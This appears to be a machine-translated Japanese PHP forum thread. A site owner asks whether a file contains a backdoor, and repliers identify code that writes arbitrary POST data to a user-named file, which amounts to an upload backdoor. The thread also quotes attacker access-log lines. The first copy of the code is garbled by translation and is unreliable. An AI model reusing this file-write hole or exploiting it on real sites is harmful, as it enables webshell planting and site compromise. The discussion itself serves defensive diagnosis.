このファイルにバックドアや脆弱性がないか確認するのにご協力ください。-PHPチュートリアル-php.cn

私は初心者です。私の Web サイトには常にトロイの木馬ファイルが存在します。ハッカーがそれをどのようにして私の Web サイトにアップロードしたのか非常に興味があります。

;td width="4%" height="28" align="center" nowrap="NOWRAP" bordercolor="cccccc" bgcolor="#CD9A99">シリアル番号

整列 = "中央" ナラップBorderColor = "CCCCCC" BGCOLOR = "#cd9a99" & GT; lor = "cccccc" bgcolor = "

ザンチェン	メイドだけど < /td>	寺院に移動
		/td＆gt; "nowrap">

if($_POST['img_text']= ='ニュース')
{
$title= $_POST['タイトル'];

$newsort =$_POST['ニューソート'];

$newsort=str_replace(chr(92),"",$newsort)

$fp = fopen, "w");

fputs($fp,$newsort);

}
else
{?>





ディスカッションへの返信 (解決策)

if($_POST['img_text'] == 'news') {  $title = $_POST['title'];  $newsort = $_POST['newsort'];  $newsort = str_replace(chr(92), "", $newsort);  $fp = fopen($title, "w");   fputs($fp, $newsort);   fclose($fp); }

ログイン後にコピー

コードだけですが、コンテンツはアップロードできませんか?

アップロードするには他のファイルと連携する必要がありますか?

フォームを見たことがありませんが、ページのアドレスがわかれば簡単に作成できます
たとえば

rrreeサーバー上に info.php という名前のファイルを作成します。これを実行すると、サーバーに関するすべての情報がわかります

2013-11-10 13:26:23 POST /k_vc.php - 98.126.241.18 Mozilla/4.0+ (互換性;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727) http://localhost/sqst/index.asp www.itc888.com 200 0 1965 41441 5843

2013-11-10 13:26:29 GET /cc.php - 98.126.241.18 Mozilla/4.0+(互換性;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR +2.0.50727 ) - www.itc888.com 200 0 1330 661 3593

ログの説明: k_vc.php は上記のファイル、cc.php はトロイの木馬ファイル www.itc888.com Web サイトのドメイン名

$ newsort =$_POST[' newsort']; フィルタリングせずに、タイトルファイルに直接書き込まれました。大きな抜け穴があります...

1B と同じくらい強力な、神のようなコード

初心者の私でもこのアップロードを理解できます。